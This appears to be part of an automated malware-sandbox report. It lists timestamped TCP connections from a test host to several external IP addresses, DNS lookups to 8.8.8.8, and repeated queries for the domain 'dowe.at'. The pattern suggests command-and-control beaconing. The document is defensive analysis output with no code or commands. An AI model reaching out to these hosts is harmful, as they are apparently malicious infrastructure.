Nov 30, 2022 00:11:39.512932062 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.512993097 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.513070107 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.513082027 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.513456106 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.513570070 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.513592005 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.513844967 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.513942957 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.513962984 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.514476061 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.514576912 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.514600992 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.514648914 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.514738083 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.514748096 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.514760971 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.514832020 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.514852047 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.515136957 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.515175104 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.515202045 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.515216112 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.515228033 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.515234947 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:40.713931084 CET	49740	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:40.902750969 CET	80	49740	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:40.905314922 CET	49740	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:40.905594110 CET	49740	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:40.905594110 CET	49740	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:41.107122898 CET	80	49740	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:41.773041964 CET	80	49740	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:41.773087025 CET	80	49740	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:41.773272038 CET	49740	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:41.773272038 CET	49740	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:41.825273991 CET	49741	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:41.960243940 CET	80	49740	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:42.015269995 CET	80	49741	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:42.015568972 CET	49741	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:42.015697002 CET	49741	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:42.015731096 CET	49741	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:42.219470024 CET	80	49741	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:42.917011976 CET	80	49741	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:42.917027950 CET	80	49741	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:42.917191029 CET	49741	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:42.917234898 CET	49741	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:42.971725941 CET	49742	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:43.261981964 CET	80	49742	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:43.262186050 CET	49742	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:43.262384892 CET	49742	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:43.262415886 CET	49742	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:43.467472076 CET	80	49741	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:43.467571020 CET	49741	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:43.492845058 CET	49741	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:43.550381899 CET	80	49742	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:43.687269926 CET	80	49741	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:44.508891106 CET	80	49742	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:44.508941889 CET	80	49742	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:44.509038925 CET	49742	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:44.509095907 CET	49742	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:44.555799961 CET	49743	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:44.772744894 CET	80	49743	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:44.772866964 CET	49743	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:44.773011923 CET	49743	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:44.773050070 CET	49743	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:44.797210932 CET	80	49742	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:44.998838902 CET	80	49743	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:45.499025106 CET	80	49743	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:45.499041080 CET	80	49743	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:45.499150038 CET	49743	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:45.499269009 CET	49743	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:45.689557076 CET	49744	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:45.714860916 CET	80	49743	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:45.906763077 CET	80	49744	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:45.907126904 CET	49744	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:45.929184914 CET	49744	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:45.929186106 CET	49744	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:46.146399975 CET	80	49744	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:46.882761955 CET	80	49744	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:46.882782936 CET	80	49744	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:46.882980108 CET	49744	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:47.050429106 CET	49744	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:47.145308018 CET	49745	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:47.266868114 CET	80	49744	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:47.433871984 CET	80	49745	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:47.434117079 CET	49745	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:47.440696001 CET	49745	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:47.441612005 CET	49745	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:47.731230974 CET	80	49745	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:48.657201052 CET	80	49745	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:48.657246113 CET	80	49745	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:48.657413960 CET	49745	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:48.658500910 CET	49745	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:48.946954012 CET	80	49745	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:48.992398977 CET	49746	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:49.209975004 CET	80	49746	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:49.210124969 CET	49746	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:49.210225105 CET	49746	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:49.210750103 CET	49746	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:49.426552057 CET	80	49746	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:50.163073063 CET	80	49746	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:50.163120985 CET	80	49746	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:50.163295031 CET	49746	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:50.163295031 CET	49746	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:50.205298901 CET	49747	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:50.378834009 CET	80	49746	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:50.394006968 CET	80	49747	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:50.394140005 CET	49747	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:50.394320965 CET	49747	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:50.394320965 CET	49747	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:50.587718010 CET	80	49747	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:51.255007029 CET	80	49747	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:51.255044937 CET	80	49747	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:51.255191088 CET	49747	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:51.255285978 CET	49747	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:51.392366886 CET	49748	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:51.453155041 CET	80	49747	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:51.611269951 CET	80	49748	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:51.611440897 CET	49748	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:51.611656904 CET	49748	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:51.611707926 CET	49748	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:51.842133045 CET	80	49748	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:52.585900068 CET	80	49748	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:52.585918903 CET	80	49748	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:52.586046934 CET	49748	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:52.592808008 CET	49748	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:52.631943941 CET	49749	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:52.810503006 CET	80	49748	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:52.819721937 CET	80	49749	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:52.820056915 CET	49749	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:52.820238113 CET	49749	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:52.820238113 CET	49749	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:53.008965969 CET	80	49749	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:53.679073095 CET	80	49749	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:53.679116964 CET	80	49749	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:53.679306984 CET	49749	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:53.680666924 CET	49749	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:53.781126022 CET	49750	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:53.866978884 CET	80	49749	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:54.072396994 CET	80	49750	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:54.072655916 CET	49750	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:54.077814102 CET	49750	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:54.078459024 CET	49750	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:54.369577885 CET	80	49750	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:55.285368919 CET	80	49750	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:55.285408974 CET	80	49750	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:55.285557985 CET	49750	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:55.285643101 CET	49750	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:55.366971970 CET	49751	80	192.168.2.6	187.212.179.75
Nov 30, 2022 00:11:55.546691895 CET	80	49751	187.212.179.75	192.168.2.6
Nov 30, 2022 00:11:55.546917915 CET	49751	80	192.168.2.6	187.212.179.75
Nov 30, 2022 00:11:55.566342115 CET	49751	80	192.168.2.6	187.212.179.75
Nov 30, 2022 00:11:55.566395998 CET	49751	80	192.168.2.6	187.212.179.75
Nov 30, 2022 00:11:55.742954016 CET	80	49751	187.212.179.75	192.168.2.6
Nov 30, 2022 00:11:56.181432962 CET	49750	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:56.352952957 CET	80	49751	187.212.179.75	192.168.2.6
Nov 30, 2022 00:11:56.352973938 CET	80	49751	187.212.179.75	192.168.2.6
Nov 30, 2022 00:11:56.353133917 CET	49751	80	192.168.2.6	187.212.179.75
Nov 30, 2022 00:11:56.353133917 CET	49751	80	192.168.2.6	187.212.179.75
Nov 30, 2022 00:11:56.404964924 CET	49753	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:56.472306013 CET	80	49750	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:56.533855915 CET	80	49751	187.212.179.75	192.168.2.6
Nov 30, 2022 00:11:56.600492954 CET	80	49753	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:56.600626945 CET	49753	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:56.600760937 CET	49753	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:56.600780010 CET	49753	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:56.810672045 CET	80	49753	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:57.485692978 CET	80	49753	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:57.485722065 CET	80	49753	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:57.485822916 CET	49753	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:57.485913038 CET	49753	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:57.682812929 CET	80	49753	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:58.054320097 CET	49754	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:58.278635979 CET	80	49754	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:58.278934002 CET	49754	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:58.278934956 CET	49754	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:58.280477047 CET	49754	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:58.504642010 CET	80	49754	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:59.230812073 CET	80	49754	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:59.230830908 CET	80	49754	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:59.231146097 CET	49754	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:59.231146097 CET	49754	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:59.322518110 CET	49755	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:59.453202009 CET	80	49754	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:59.500096083 CET	80	49755	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:59.500320911 CET	49755	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:59.500617027 CET	49755	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:59.500617027 CET	49755	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:59.689419031 CET	80	49755	200.46.66.71	192.168.2.6
Nov 30, 2022 00:12:00.352895975 CET	80	49755	200.46.66.71	192.168.2.6
Nov 30, 2022 00:12:00.353825092 CET	49755	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:12:00.359714985 CET	80	49755	200.46.66.71	192.168.2.6
Nov 30, 2022 00:12:00.360199928 CET	49755	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:12:00.431853056 CET	49756	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:12:00.534799099 CET	80	49755	200.46.66.71	192.168.2.6
Nov 30, 2022 00:12:00.624418020 CET	80	49756	200.46.66.71	192.168.2.6
Nov 30, 2022 00:12:00.624742031 CET	49756	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:12:00.624742031 CET	49756	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:12:00.626914978 CET	49756	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:12:00.827110052 CET	80	49756	200.46.66.71	192.168.2.6
Nov 30, 2022 00:12:01.500219107 CET	80	49756	200.46.66.71	192.168.2.6
Nov 30, 2022 00:12:01.500246048 CET	80	49756	200.46.66.71	192.168.2.6
Nov 30, 2022 00:12:01.500386000 CET	49756	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:12:01.500478983 CET	49756	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:12:01.543417931 CET	49757	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:12:01.692732096 CET	80	49756	200.46.66.71	192.168.2.6
Nov 30, 2022 00:12:01.833837986 CET	80	49757	211.59.14.90	192.168.2.6
Nov 30, 2022 00:12:01.834028959 CET	49757	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:12:01.834208965 CET	49757	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:12:01.834239006 CET	49757	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:12:02.126087904 CET	80	49757	211.59.14.90	192.168.2.6
Nov 30, 2022 00:12:03.457660913 CET	80	49757	211.59.14.90	192.168.2.6
Nov 30, 2022 00:12:03.457700014 CET	80	49757	211.59.14.90	192.168.2.6
Nov 30, 2022 00:12:03.457832098 CET	49757	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:12:03.457942963 CET	49757	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:12:03.498950958 CET	49758	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:12:03.749648094 CET	80	49757	211.59.14.90	192.168.2.6
Nov 30, 2022 00:12:03.782459021 CET	80	49758	211.59.14.90	192.168.2.6
Nov 30, 2022 00:12:03.782593012 CET	49758	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:12:03.782768965 CET	49758	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:12:03.782977104 CET	49758	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:12:04.073066950 CET	80	49758	211.59.14.90	192.168.2.6
Nov 30, 2022 00:12:04.990518093 CET	80	49758	211.59.14.90	192.168.2.6
Nov 30, 2022 00:12:04.990545988 CET	80	49758	211.59.14.90	192.168.2.6
Nov 30, 2022 00:12:04.990923882 CET	49758	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:12:05.020685911 CET	49758	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:12:05.266185045 CET	49759	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:12:05.304953098 CET	80	49758	211.59.14.90	192.168.2.6
Nov 30, 2022 00:12:05.557368040 CET	80	49759	211.59.14.90	192.168.2.6
Nov 30, 2022 00:12:05.557610989 CET	49759	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:12:06.007128954 CET	49759	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:12:06.007268906 CET	49759	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:12:06.297910929 CET	80	49759	211.59.14.90	192.168.2.6
Nov 30, 2022 00:12:07.220952988 CET	80	49759	211.59.14.90	192.168.2.6
Nov 30, 2022 00:12:07.220992088 CET	80	49759	211.59.14.90	192.168.2.6
Nov 30, 2022 00:12:07.221159935 CET	49759	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:12:07.735435009 CET	49759	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:12:07.954555035 CET	49760	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:12:08.025975943 CET	80	49759	211.59.14.90	192.168.2.6
Nov 30, 2022 00:12:08.150751114 CET	80	49760	200.46.66.71	192.168.2.6
Nov 30, 2022 00:12:08.151019096 CET	49760	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:12:08.152627945 CET	49760	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:12:08.152676105 CET	49760	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:12:08.341430902 CET	80	49760	200.46.66.71	192.168.2.6
Nov 30, 2022 00:12:09.011964083 CET	80	49760	200.46.66.71	192.168.2.6
Nov 30, 2022 00:12:09.011971951 CET	80	49760	200.46.66.71	192.168.2.6
Nov 30, 2022 00:12:09.012087107 CET	49760	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:12:09.018203020 CET	49760	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:12:09.635799885 CET	49760	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:12:09.822771072 CET	80	49760	200.46.66.71	192.168.2.6
Nov 30, 2022 00:12:19.834485054 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:12:19.836880922 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:12:19.837188959 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:12:20.108251095 CET	80	49725	123.253.32.170	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2022 00:10:57.539028883 CET	62910	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:10:58.022703886 CET	53	62910	8.8.8.8	192.168.2.6
Nov 30, 2022 00:10:59.104090929 CET	63863	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:10:59.585829020 CET	53	63863	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:01.073633909 CET	62538	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:01.562983036 CET	53	62538	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:03.599140882 CET	54903	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:03.619827986 CET	53	54903	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:04.708935022 CET	51530	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:04.729224920 CET	53	51530	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:20.956633091 CET	61609	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:20.978972912 CET	53	61609	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:22.561232090 CET	52481	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:22.578528881 CET	53	52481	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:23.650019884 CET	53943	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:24.170435905 CET	53	53943	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:25.679337978 CET	56086	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:25.698915958 CET	53	56086	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:27.249752998 CET	56547	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:27.268702984 CET	53	56547	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:29.865735054 CET	59881	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:29.909164906 CET	53	59881	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:34.537358999 CET	58917	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:34.555744886 CET	53	58917	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:35.817455053 CET	62520	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:35.837424994 CET	53	62520	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:37.053144932 CET	55629	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:37.070822954 CET	53	55629	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:38.141012907 CET	52079	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:38.159097910 CET	53	52079	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:39.139863968 CET	56569	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:39.178725958 CET	53	56569	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:40.692821026 CET	61833	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:40.713022947 CET	53	61833	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:41.800481081 CET	65044	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:41.821110964 CET	53	65044	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:42.937369108 CET	60032	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:42.970715046 CET	53	60032	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:44.522392035 CET	49232	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:44.541811943 CET	53	49232	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:45.507319927 CET	56123	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:45.526927948 CET	53	56123	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:47.124767065 CET	59752	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:47.144521952 CET	53	59752	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:48.973812103 CET	52865	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:48.991724968 CET	53	52865	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:50.177469969 CET	57322	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:50.196737051 CET	53	57322	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:51.373785019 CET	62958	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:51.391386986 CET	53	62958	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:52.608006954 CET	64404	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:52.630928993 CET	53	64404	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:53.755806923 CET	62848	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:53.780193090 CET	53	62848	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:55.344466925 CET	55956	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:55.366202116 CET	53	55956	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:56.383055925 CET	51321	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:56.403703928 CET	53	51321	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:57.562014103 CET	61089	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:58.053072929 CET	53	61089	8.8.8.8	192.168.2.6
Nov 30, 2022 00:11:59.303905010 CET	62766	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:11:59.321430922 CET	53	62766	8.8.8.8	192.168.2.6
Nov 30, 2022 00:12:00.410181999 CET	60130	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:12:00.430341005 CET	53	60130	8.8.8.8	192.168.2.6
Nov 30, 2022 00:12:01.524296045 CET	62732	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:12:01.541763067 CET	53	62732	8.8.8.8	192.168.2.6
Nov 30, 2022 00:12:03.480338097 CET	60690	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:12:03.497956991 CET	53	60690	8.8.8.8	192.168.2.6
Nov 30, 2022 00:12:05.245548010 CET	56750	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:12:05.265032053 CET	53	56750	8.8.8.8	192.168.2.6
Nov 30, 2022 00:12:07.934282064 CET	59336	53	192.168.2.6	8.8.8.8
Nov 30, 2022 00:12:07.953203917 CET	53	59336	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 30, 2022 00:10:57.539028883 CET	192.168.2.6	8.8.8.8	0x8dc7	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:10:59.104090929 CET	192.168.2.6	8.8.8.8	0x7cfc	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:01.073633909 CET	192.168.2.6	8.8.8.8	0xec19	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:03.599140882 CET	192.168.2.6	8.8.8.8	0x2110	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:04.708935022 CET	192.168.2.6	8.8.8.8	0x4552	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:20.956633091 CET	192.168.2.6	8.8.8.8	0xf6bf	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:22.561232090 CET	192.168.2.6	8.8.8.8	0x12a6	Standard query (0)	dowe.at	A (IP address)	IN (0x0001)	false
